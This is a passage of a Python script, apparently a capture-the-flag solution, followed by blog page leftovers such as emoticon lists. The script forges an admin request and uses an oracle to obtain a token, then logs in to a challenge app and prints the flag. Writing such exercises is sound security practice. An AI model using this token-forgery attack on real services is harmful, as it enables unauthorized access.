  "secret": res.decode(),
  "admin": "1"
}).json()
print(response)
assert response["result"] == "OK"

username = base64.b64encode(os.urandom(SECRET_BYTES)).decode()
id, token = oracle(username.encode())

s = requests.Session()
content = s.post(f'http://{APP_HOST}:{APP_PORT}/login', {
  "username": username,
  "id": id,
  "token": token.hex()
}).content
print(content)

print(content.split(b'<h1>')[1].split(b'</h1>')[0])
print(f'{q=}')
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇